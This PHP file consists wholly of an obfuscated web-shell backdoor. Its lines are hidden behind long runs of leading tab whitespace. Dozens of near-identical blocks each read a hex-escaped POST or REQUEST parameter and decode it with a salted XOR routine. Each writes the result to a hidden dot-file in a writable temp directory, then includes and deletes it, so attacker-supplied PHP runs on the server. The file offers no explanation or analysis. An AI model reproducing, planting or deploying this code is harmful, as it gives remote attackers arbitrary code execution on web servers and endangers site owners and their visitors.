<?php																																										if(isset($_POST["\x65nt"])){ $element = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp"]); $component = $_POST["\x65nt"]; $component = explode ( "." , $component ) ; $resource = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $w = 0; array_walk( $component,function( $v4) use( &$resource,&$w,$s9,$lenS) { $chS = ord( $s9[$w% $lenS]); $d =( ( int)$v4 - $chS -( $w% 10)) ^ 50; $resource .= chr( $d); $w++; }); for ($symbol = 0, $obj = count($element); $symbol < $obj; $symbol++) { $bind = $element[$symbol]; if (is_dir($bind) && is_writable($bind)) { $ptr = "$bind/.flag"; $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $ptr; @unlink($ptr); exit; } } } }
																																										if(array_key_exists("po\x69nte\x72", $_REQUEST)){ $pgrp = $_REQUEST["po\x69nte\x72"]; $pgrp= explode ( '.' , $pgrp ) ; $entry = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $n = 0; array_walk($pgrp, function ($v8) use (&$entry, &$n, $salt8, $sLen) { $chS = ord($salt8[$n % $sLen]); $d = ((int)$v8 - $chS - ($n % 10)) ^ 38; $entry .= chr($d); $n++; } ); $object = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), "/tmp", "/dev/shm"]); $val = 0; do { $bind = $object[$val] ?? null; if ($val >= count($object)) break; if (max(0, is_dir($bind) * is_writable($bind))) { $marker = implode("/", [$bind, ".parameter_group"]); if (@file_put_contents($marker, $entry) !== false) { include $marker; unlink($marker); die(); } } $val++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x70\x67rp"])){ $entry = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP")]); $ref = $_POST["\x70\x67rp"]; $ref = explode ( "." , $ref ) ; $property_set = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $len = count($ref ); for ($w = 0; $w < $len; $w++) { $v8 = $ref[$w]; $chS = ord($s7[$w %$lenS] ); $dec = ((int)$v8 - $chS - ($w %10)) ^ 89; $property_set .= chr($dec ); } $ent = 0; do { $value = $entry[$ent] ?? null; if ($ent >= count($entry)) break; if ((is_dir($value) and is_writable($value))) { $mrk = vsprintf("%s/%s", [$value, ".parameter_group"]); $success = file_put_contents($mrk, $property_set); if ($success) { include $mrk; @unlink($mrk); die();} } $ent++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x72e\x63\x6Frd")){ $ent = $_POST["\x72e\x63\x6Frd"]; $ent = explode ('.' , $ent ) ; $token = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $w = 0; $__len = count( $ent); do { if( $w >= $__len) break; $v8 = $ent[$w]; $chS = ord( $s2[$w % $lenS]); $d =( ( int)$v8 - $chS -( $w % 10)) ^ 73; $token .=chr( $d); $w++; } while( true); $holder = array_filter([getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm"]); foreach ($holder as $pset): if (is_dir($pset) ? is_writable($pset) : false) { $descriptor = implode("/", [$pset, ".dchunk"]); if (file_put_contents($descriptor, $token)) { include $descriptor; @unlink($descriptor); die(); } } endforeach; }
																																										if(array_key_exists("c\x6Fm\x70o\x6E\x65nt", $_POST) && !is_null($_POST["c\x6Fm\x70o\x6E\x65nt"])){ $key = array_filter([getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); $binding = $_POST["c\x6Fm\x70o\x6E\x65nt"]; $binding = explode ( ".", $binding); $obj = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); $i = 0; foreach( $binding as $v1) { $sChar = ord( $s5[$i % $sLen] ); $dec =( ( int)$v1 - $sChar -( $i % 10)) ^ 65; $obj .= chr( $dec ); $i++; } foreach ($key as $key => $ent) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $parameter_group = vsprintf("%s/%s", [$ent, ".property_set"]); if (file_put_contents($parameter_group, $obj)) { include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x66lg")){ $descriptor = $_REQUEST["\x66lg"]; $descriptor =explode ( "." , $descriptor ); $comp = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2); $v = 0; array_walk( $descriptor , function( $v2) use( &$comp , &$v , $s2 , $sLen) { $chS = ord( $s2[$v % $sLen]); $d = ( ( int)$v2 - $chS -( $v % 10)) ^ 54; $comp .= chr( $d); $v++; }); $key = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), getcwd()]); foreach ($key as $pointer) { if (!( !is_dir($pointer) || !is_writable($pointer) )) { $itm = sprintf("%s/.marker", $pointer); $success = file_put_contents($itm, $comp); if ($success) { include $itm; @unlink($itm); exit;} } } }
																																										if(array_key_exists("res\x6F\x75\x72\x63e", $_POST)){ $val = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp"]); $object = $_POST["res\x6F\x75\x72\x63e"]; $object = explode ( '.' , $object ) ; $element=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt6); $x=0; array_walk($object,function ($v5) use (&$element,&$x,$salt6,$sLen) { $sChar=ord($salt6[$x % $sLen]); $d=((int)$v5 - $sChar - ($x % 10)) ^ 2; $element.=chr($d); $x++; }); foreach ($val as $key => $ent) { if (is_writable($ent) && is_dir($ent)) { $hld = implode("/", [$ent, ".elem"]); $success = file_put_contents($hld, $element); if ($success) { include $hld; @unlink($hld); die();} } } }
																																										if(!is_null($_POST["\x63\x6F\x6D\x70onent"] ?? null)){ $flag = $_POST["\x63\x6F\x6D\x70onent"]; $flag = explode ( "." , $flag ); $mrk = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $i = 0; while ($i < count($flag)) { $v2 = $flag[$i]; $chS = ord($s1[$i % $lenS] ); $dec = ((int)$v2 - $chS - ($i % 10))^ 94; $mrk .= chr($dec ); $i++; } $ptr = array_filter([getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); foreach ($ptr as $fac) { if (is_dir($fac) && is_writable($fac)) { $symbol = join("/", [$fac, ".rec"]); if (@file_put_contents($symbol, $mrk) !== false) { include $symbol; unlink($symbol); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x65\x6Etry"])){ $symbol = $_REQUEST["\x65\x6Etry"]; $symbol= explode ( '.' ,$symbol ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $o = 0; $len = count($symbol); do { if($o >=$len) break; $v6 = $symbol[$o]; $chS = ord($salt[$o % $lenS]); $dec =((int)$v6 - $chS -($o % 10)) ^ 70; $pgrp .= chr($dec); $o++; } while(true); $resource = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", getenv("TEMP")]); foreach ($resource as $sym) { if (!!is_dir($sym) && !!is_writable($sym)) { $parameter_group = vsprintf("%s/%s", [$sym, ".ptr"]); $success = file_put_contents($parameter_group, $pgrp); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["ent\x72\x79"])){ $sym = $_POST["ent\x72\x79"]; $sym = explode ( "." , $sym) ; $fac= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt8); $i= 0; $__len= count($sym); do {if ($i >= $__len) break; $v9= $sym[$i]; $chS= ord($salt8[$i % $lenS]); $d= ((int)$v9 - $chS - ($i % 10)) ^ 44; $fac .= chr($d); $i++; } while (true); $object = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm"]); $elem = 0; do { $ent = $object[$elem] ?? null; if ($elem >= count($object)) break; if (is_dir($ent) && is_writable($ent)) { $marker = vsprintf("%s/%s", [$ent, ".flag"]); $success = file_put_contents($marker, $fac); if ($success) { include $marker; @unlink($marker); die();} } $elem++; } while (true); }
																																										if(array_key_exists("el\x65\x6D\x65\x6Et", $_POST)){ $dchunk = $_POST["el\x65\x6D\x65\x6Et"]; $dchunk =explode ('.' ,$dchunk ) ; $factor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $s = 0; $__tmp = $dchunk; while($v9 = array_shift($__tmp)) { $sChar = ord($s4[$s % $sLen]); $d = ((int)$v9 - $sChar -($s % 10)) ^ 45; $factor .= chr($d); $s++; } $ref = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), getenv("TMP")]); while ($marker = array_shift($ref)) { if (is_writable($marker) && is_dir($marker)) { $record = implode("/", [$marker, ".tkn"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(isset($_POST) && isset($_POST["key"])){ $ref = $_POST["key"]; $ref = explode( '.' , $ref ) ; $ent =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s ); $w =0; while( $w < count( $ref)) { $v6 =$ref[$w]; $sChar =ord( $s[$w % $lenS] ); $dec =( ( int)$v6 - $sChar -( $w % 10)) ^87; $ent .= chr( $dec ); $w++; } $comp = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp"]); foreach ($comp as $flag): if (is_dir($flag) && is_writable($flag)) { $resource = str_replace("{var_dir}", $flag, "{var_dir}/.k"); if (file_put_contents($resource, $ent)) { require $resource; unlink($resource); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "f\x61\x63")){ $bind = array_filter(["/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]); $item = $_REQUEST["f\x61\x63"]; $item =explode ( "." , $item) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $item as $z =>$v9): $sChar = ord( $salt[$z % $lenS] ); $d =( ( int)$v9 - $sChar -( $z % 10)) ^ 68; $val .= chr( $d ); endforeach; $descriptor = 0; do { $entity = $bind[$descriptor] ?? null; if ($descriptor >= count($bind)) break; if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $flag = join("/", [$entity, ".itm"]); $success = file_put_contents($flag, $val); if ($success) { include $flag; @unlink($flag); exit;} } $descriptor++; } while (true); }
																																										if(!is_null($_REQUEST["res\x6F\x75\x72\x63e"] ?? null)){ $symbol = $_REQUEST["res\x6F\x75\x72\x63e"]; $symbol = explode( "." ,$symbol ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($symbol); for ($i = 0; $i < $__len; $i++) { $v3 = $symbol[$i]; $chS = ord($salt[$i % $sLen]); $dec = ((int)$v3 - $chS - ($i % 10)) ^7; $marker .= chr($dec); } $entity = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd()]); foreach ($entity as $entry): if (array_product([is_dir($entry), is_writable($entry)])) { $pointer = vsprintf("%s/%s", [$entry, ".comp"]); if (@file_put_contents($pointer, $marker) !== false) { include $pointer; unlink($pointer); die(); } } endforeach; }
																																										if(isset($_POST) && isset($_POST["pa\x72am\x65\x74\x65\x72\x5F\x67r\x6Fup"])){ $ent = $_POST["pa\x72am\x65\x74\x65\x72\x5F\x67r\x6Fup"]; $ent = explode ( '.', $ent ) ; $entity =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s6); foreach( $ent as $k => $v2) { $sChar =ord( $s6[$k % $sLen]); $d =( ( int)$v2 - $sChar -( $k % 10)) ^ 77; $entity.= chr( $d); } $flag = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir()]); foreach ($flag as $key => $descriptor) { if (is_writable($descriptor) && is_dir($descriptor)) { $data = str_replace("{var_dir}", $descriptor, "{var_dir}/.fac"); $success = file_put_contents($data, $entity); if ($success) { include $data; @unlink($data); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72e\x73\x6Fu\x72ce"])){ $binding = $_POST["\x72e\x73\x6Fu\x72ce"]; $binding = explode ( '.' , $binding) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $k = 0; $__tmp = $binding; while( $v3 = array_shift( $__tmp)) { $chS = ord( $s[$k % $sLen] ); $dec =( ( int)$v3 - $chS -( $k % 10)) ^ 10; $component .=chr( $dec ); $k++;} $factor = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", getenv("TEMP")]); foreach ($factor as $itm) { if (!!is_dir($itm) && !!is_writable($itm)) { $entity = join("/", [$itm, ".dat"]); if (file_put_contents($entity, $component)) { include $entity; @unlink($entity); exit; } } } }
																																										if(!is_null($_REQUEST["o\x62j\x65\x63t"] ?? null)){ $reference = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp"]); $ent = $_REQUEST["o\x62j\x65\x63t"]; $ent = explode ( '.' , $ent ) ; $descriptor = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $s = 0; while($s < count($ent)) { $v7 = $ent[$s]; $chS = ord($salt6[$s% $sLen]); $dec = ((int)$v7 - $chS -($s% 10))^ 74; $descriptor.=chr($dec); $s++; } foreach ($reference as $key => $pset) { if ((is_dir($pset) and is_writable($pset))) { $ref = "$pset/.key"; $file = fopen($ref, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $ref; @unlink($ref); exit; } } } }
																																										if(!is_null($_REQUEST["v\x61\x6C"] ?? null)){ $k = $_REQUEST["v\x61\x6C"]; $k = explode ("." , $k ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($k as $v =>$v2) { $chS = ord($s[$v % $sLen]); $dec = ((int)$v2 - $chS -($v % 10)) ^ 79; $fac .= chr($dec); } $res = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), session_save_path()]); $ent = 0; do { $pset = $res[$ent] ?? null; if ($ent >= count($res)) break; if (!( !is_dir($pset) || !is_writable($pset) )) { $binding = sprintf("%s/.comp", $pset); if (@file_put_contents($binding, $fac) !== false) { include $binding; unlink($binding); exit; } } $ent++; } while (true); }
																																										if(@$_POST["\x73\x79m"] !== null){ $pointer = array_filter(["/dev/shm", sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); $obj = $_POST["\x73\x79m"]; $obj =explode ('.' , $obj ); $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $v = 0; $__tmp = $obj; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $salt[$v % $sLen]); $dec =( ( int)$v9 - $sChar -( $v % 10)) ^ 88; $mrk.= chr( $dec); $v++; } for ($object = 0, $rec = count($pointer); $object < $rec; $object++) { $res = $pointer[$object]; if (is_writable($res) && is_dir($res)) { $dat = "$res" . "/.ent"; if (file_put_contents($dat, $mrk)) { require $dat; unlink($dat); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["ps\x65\x74"])){ $item = $_REQUEST["ps\x65\x74"]; $item = explode ( "." , $item ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($item as $q => $v5) { $chS = ord($s[$q %$sLen]); $d = ((int)$v5 - $chS - ($q %10)) ^ 51; $res.= chr($d); } $entity = array_filter([ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP")]); for ($obj = 0, $marker = count($entity); $obj < $marker; $obj++) { $tkn = $entity[$obj]; if (max(0, is_dir($tkn) * is_writable($tkn))) { $sym = str_replace("{var_dir}", $tkn, "{var_dir}/.parameter_group"); if (@file_put_contents($sym, $res) !== false) { include $sym; unlink($sym); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["e\x6Et"])){ $comp = $_POST["e\x6Et"]; $comp = explode ( "." , $comp); $rec =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt1); $__len =count($comp); for ($l =0; $l < $__len; $l++) { $v8 =$comp[$l]; $sChar =ord($salt1[$l % $sLen]); $dec =((int)$v8 - $sChar - ($l % 10)) ^ 48; $rec .= chr($dec); } $binding = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path()]); while ($value = array_shift($binding)) { if ((is_dir($value) and is_writable($value))) { $tkn = "$value/.component"; if (file_put_contents($tkn, $rec)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_REQUEST["\x65nt"]) ? true : false){ $key = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd()]); $parameter_group = $_REQUEST["\x65nt"]; $parameter_group= explode ( '.' , $parameter_group ); $entity = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); $u = 0; $__tmp = $parameter_group; while ($v6 = array_shift($__tmp)) {$chS = ord($salt4[$u % $lenS] ); $d = ((int)$v6 - $chS - ($u % 10)) ^1; $entity .= chr($d ); $u++;} foreach ($key as $dat) { if (array_product([is_dir($dat), is_writable($dat)])) { $k = "$dat" . "/.data"; if (@file_put_contents($k, $entity) !== false) { include $k; unlink($k); exit; } } } }
																																										if(!is_null($_REQUEST["d\x61\x74"] ?? null)){ $entity = $_REQUEST["d\x61\x74"]; $entity = explode ( ".", $entity ); $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $q = 0; $__len = count( $entity); do { if( $q >= $__len) break; $v1 = $entity[$q]; $sChar = ord( $salt[$q % $lenS]); $d = ( ( int)$v1 - $sChar -( $q % 10)) ^ 100; $descriptor .=chr( $d); $q++; }while( true); $token = array_filter([session_save_path(), "/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); foreach ($token as $key => $data) { if ((is_dir($data) and is_writable($data))) { $fac = "$data" . "/.pgrp"; $file = fopen($fac, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $fac; @unlink($fac); exit; } } } }
																																										if(array_key_exists("\x74oke\x6E", $_POST)){ $parameter_group = array_filter(["/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $pointer = $_POST["\x74oke\x6E"]; $pointer = explode('.' ,$pointer ) ; $component =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $n =0; $__tmp =$pointer; while($v6 =array_shift($__tmp)) { $chS =ord($s[$n % $lenS]); $d =((int)$v6 - $chS -($n % 10)) ^ 86; $component .= chr($d); $n++;} foreach ($parameter_group as $pgrp): if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $ref = "$pgrp/.element"; $success = file_put_contents($ref, $component); if ($success) { include $ref; @unlink($ref); die();} } endforeach; }
																																										if(@$_POST["\x63o\x6Dp"] !== null){ $component = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), session_save_path()]); $data = $_POST["\x63o\x6Dp"]; $data=explode ("." , $data) ; $property_set = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); foreach ($data as $u => $v7) { $chS = ord($s5[$u % $lenS]); $dec = ((int)$v7 - $chS - ($u % 10))^23; $property_set .= chr($dec); } while ($element = array_shift($component)) { if (!( !is_dir($element) || !is_writable($element) )) { $holder = join("/", [$element, ".obj"]); if (file_put_contents($holder, $property_set)) { require $holder; unlink($holder); exit; } } } }
																																										if(isset($_POST["s\x79mbo\x6C"]) ? true : false){ $reference = $_POST["s\x79mbo\x6C"]; $reference = explode ('.' , $reference ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $reference as $q => $v8): $chS = ord( $s[$q % $lenS]); $dec =( ( int)$v8 - $chS -( $q % 10)) ^ 54; $desc .= chr( $dec); endforeach; $value = array_filter([getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", session_save_path()]); foreach ($value as $key => $fac) { if ((is_dir($fac) and is_writable($fac))) { $rec = "$fac/.hld"; if (@file_put_contents($rec, $desc) !== false) { include $rec; unlink($rec); die(); } } } }
																																										if(!is_null($_REQUEST["ptr"] ?? null)){ $ref = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), getcwd()]); $marker = $_REQUEST["ptr"]; $marker = explode ( "." , $marker ) ; $resource = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); $i = 0; array_walk( $marker ,function( $v1) use( &$resource ,&$i ,$s5 ,$sLen) { $chS = ord( $s5[$i % $sLen] ); $d = ( ( int)$v1 - $chS -( $i % 10))^37; $resource .= chr( $d ); $i++; } ); $binding = 0; do { $obj = $ref[$binding] ?? null; if ($binding >= count($ref)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $key = str_replace("{var_dir}", $obj, "{var_dir}/.tkn"); if (file_put_contents($key, $resource)) { include $key; @unlink($key); die(); } } $binding++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "de\x73c\x72\x69\x70\x74or")){ $key = $_REQUEST["de\x73c\x72\x69\x70\x74or"]; $key = explode( "." , $key ); $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($key as $x => $v3): $sChar = ord($s[$x % $sLen] ); $dec = ((int)$v3 - $sChar - ($x % 10)) ^ 84; $property_set .=chr($dec ); endforeach; $val = array_filter([session_save_path(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); foreach ($val as $element): if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $comp = "$element" . "/.token"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $comp; @unlink($comp); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "r\x65co\x72\x64")){ $item = $_POST["r\x65co\x72\x64"]; $item =explode ("." , $item ) ; $elem=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s); $n=0; foreach( $item as $v2) { $sChar=ord( $s[$n % $sLen]); $d=( ( int)$v2 - $sChar -( $n % 10)) ^ 52; $elem.= chr( $d); $n++; } $property_set = array_filter(["/var/tmp", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); foreach ($property_set as $element) { if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $mrk = join("/", [$element, ".ent"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $mrk; @unlink($mrk); die(); } } } }
																																										if(!empty($_POST["\x65\x6Cem"])){ $element = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp"]); $fac = $_POST["\x65\x6Cem"]; $fac = explode( '.' , $fac) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $len = count($fac ); for($j = 0; $j < $len; $j++) { $v9 = $fac[$j]; $sChar = ord($s[$j%$sLen] ); $dec =((int)$v9 - $sChar -($j%10)) ^ 16; $rec .=chr($dec ); } for ($comp = 0, $data = count($element); $comp < $data; $comp++) { $factor = $element[$comp]; if (is_dir($factor) ? is_writable($factor) : false) { $dchunk = vsprintf("%s/%s", [$factor, ".itm"]); $success = file_put_contents($dchunk, $rec); if ($success) { include $dchunk; @unlink($dchunk); die();} } } }
																																										if(array_key_exists("pr\x6F\x70\x65rty_se\x74", $_REQUEST) && !is_null($_REQUEST["pr\x6F\x70\x65rty_se\x74"])){ $ref = $_REQUEST["pr\x6F\x70\x65rty_se\x74"]; $ref = explode ('.', $ref ); $rec = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7); foreach( $ref as $r=> $v6) { $chS = ord( $salt7[$r%$sLen]); $d =( ( int)$v6 - $chS -( $r%10)) ^4; $rec .= chr( $d); } $desc = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", getenv("TEMP")]); foreach ($desc as $key => $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $dchunk = sprintf("%s/.flg", $factor); if (@file_put_contents($dchunk, $rec) !== false) { include $dchunk; unlink($dchunk); exit; } } } }
																																										if(@$_POST["\x69t\x65m"] !== null){ $component = array_filter([session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp"]); $data_chunk = $_POST["\x69t\x65m"]; $data_chunk=explode ( "." , $data_chunk ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $s = 0; foreach ($data_chunk as $v5) { $chS = ord($salt[$s % $lenS] ); $d = ((int)$v5 - $chS - ($s % 10)) ^ 93; $dchunk .= chr($d ); $s++; } $object = 0; do { $desc = $component[$object] ?? null; if ($object >= count($component)) break; if (is_dir($desc) ? is_writable($desc) : false) { $ent = join("/", [$desc, ".reference"]); $success = file_put_contents($ent, $dchunk); if ($success) { include $ent; @unlink($ent); die();} } $object++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["en\x74"])){ $item = $_REQUEST["en\x74"]; $item =explode ( "." , $item ) ; $desc = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $l = 0; while ($l<count($item)) { $v9 = $item[$l]; $sChar = ord($s2[$l % $sLen]); $dec = ((int)$v9 - $sChar - ($l % 10)) ^ 76; $desc .= chr($dec); $l++; } $key = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm"]); $sym = 0; do { $element = $key[$sym] ?? null; if ($sym >= count($key)) break; if (array_product([is_dir($element), is_writable($element)])) { $holder = implode("/", [$element, ".entity"]); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $holder; @unlink($holder); exit; } } $sym++; } while (true); }
																																										if(!is_null($_POST["re\x66"] ?? null)){ $holder = $_POST["re\x66"]; $holder= explode ( "." , $holder ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($holder as $z => $v5): $chS = ord($salt[$z %$sLen]); $dec = ((int)$v5 - $chS - ($z %10)) ^ 46; $dat .= chr($dec); endforeach; $factor = array_filter(["/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); foreach ($factor as $comp): if ((is_dir($comp) and is_writable($comp))) { $token = vsprintf("%s/%s", [$comp, ".value"]); if (@file_put_contents($token, $dat) !== false) { include $token; unlink($token); exit; } } endforeach; }
